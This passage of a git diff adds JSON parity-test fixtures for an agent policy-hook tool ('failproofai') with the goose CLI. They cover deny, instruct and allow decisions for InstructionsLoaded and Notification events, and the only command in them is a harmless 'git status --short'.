a/__tests__/parity/fixtures/goose/InstructionsLoaded/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/InstructionsLoaded/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..379b9a82 --- /dev/null +++ b/__tests__/parity/fixtures/goose/InstructionsLoaded/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/InstructionsLoaded/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/InstructionsLoaded/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..77f46f1d --- /dev/null +++ b/__tests__/parity/fixtures/goose/InstructionsLoaded/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/InstructionsLoaded/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/InstructionsLoaded/deny__tool-present__one-policy.json new file mode 100644 index 00000000..4422d051 --- /dev/null +++ b/__tests__/parity/fixtures/goose/InstructionsLoaded/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/InstructionsLoaded/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/InstructionsLoaded/deny__tool-present__two-policies.json new file mode 100644 index 00000000..12f17b61 --- /dev/null +++ b/__tests__/parity/fixtures/goose/InstructionsLoaded/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/InstructionsLoaded/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/InstructionsLoaded/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..7c08f39d --- /dev/null +++ b/__tests__/parity/fixtures/goose/InstructionsLoaded/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/InstructionsLoaded/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/InstructionsLoaded/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..5a4becda --- /dev/null +++ b/__tests__/parity/fixtures/goose/InstructionsLoaded/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/InstructionsLoaded/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/InstructionsLoaded/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..6310dcf1 --- /dev/null +++ b/__tests__/parity/fixtures/goose/InstructionsLoaded/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/InstructionsLoaded/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/InstructionsLoaded/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..3c61ed14 --- /dev/null +++ b/__tests__/parity/fixtures/goose/InstructionsLoaded/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Notification/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/Notification/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..4bb869c9 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Notification/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Notification/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/Notification/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..7d900304 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Notification/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Notification/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/Notification/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..aed8db44 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Notification/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Notification/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/Notification/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..883eeabd --- /dev/null +++ b/__tests__/parity/fixtures/goose/Notification/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Notification/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/Notification/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..406d8847 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Notification/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Notification/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/Notification/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..efd57c95 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Notification/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Notification/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/Notification/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..696e875a --- /dev/null +++ b/__tests__/parity/fixtures/goose/Notification/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Notification/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/Notification/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..fa74b812 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Notification/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Notification/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/Notification/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..e853ecc5 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Notification/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Notification/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/Notification/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..20e3589d --- /dev/null +++ b/__tests__/parity/fixtures/goose/Notification/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Notification/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/Notification/deny__tool-present__one-policy.json new file mode 100644 index 00000000..c4ed7671 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Notification/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Notification/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/Notification/deny__tool-present__two-policies.json new file mode 100644 index 00000000..8a214d08 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Notification/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": 